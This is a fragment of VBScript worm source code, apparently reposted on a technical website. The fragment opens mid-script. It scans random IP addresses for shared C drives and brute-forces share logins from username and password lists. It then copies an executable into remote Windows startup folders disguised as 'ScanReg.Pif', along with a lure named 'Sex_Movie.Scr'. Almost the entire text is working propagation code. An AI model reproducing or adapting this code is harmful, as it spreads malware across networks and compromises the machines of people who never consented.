Let IP1 = LTrim(Str(Int((Rnd * 254) + 1)))
Let IP2 = LTrim(Str(Int((Rnd * 254) + 1)))
Let IP3 = LTrim(Str(Int((Rnd * 254) + 1)))
Let IP4 = LTrim(Str(Int((Rnd * 254) + 1)))
ShareName = "\\" & IP1 & "." & IP2 & "." & IP3 & "." & IP4 & "\C"
Wnt.MapNetworkDrive "o:", ShareName
If Not Fso.FolderExists("o:\") Then
Call Open_Pass(ShareName)
End If
If Not Fso.FolderExists("o:\") Then GoTo Start
Fso.CopyFile Winsys & "\Himem.Exe", "o:\windows\startm~1\programs\startup\ScanReg.Pif", True
Fso.CopyFile Winsys & "\Himem.Exe", "o:\Sex_Movie.Scr", True
Fso.CopyFile Winsys & "\Himem.Exe", "o:\winnt\startm~1\programs\startup\ScanReg.Pif", True
Fso.CopyFile Winsys & "\Himem.Exe", "o:\" & Right(Windir, Len(Windir) - 3) & "\startm~1\programs\startup\ScanReg.Pif", True
Wnt.RemoveNetworkDrive "o:"
Loop
End If
End Sub
Sub Open_Pass(ShareName)
Dim Start, Last, Tmp, Tmp1, Start1, Last1
Let Start = 0
Let Last = 0
Do Until (Last = Len(EUser))
Let Start = Last + 1
Let Last = InStr(Start, EUser, "*")
Let Tmp = Mid(EUser, Start, Last - Start)
Let Start1 = 0
Let Last1 = 0
Do Until (Last1 = Len(EPassword))
Let Start1 = Last1 + 1
Let Last1 = InStr(Start1, EPassword, "*")
Let Tmp1 = Mid(EPassword, Start1, Last1 - Start1)
Wnt.MapNetworkDrive "o:", ShareName, Tmp, Tmp1
If Fso.FolderExists("o:\") Then Exit Sub
Loop
Loop
End Sub
本文地址：http://com.8s8s.com/it/it35416.htm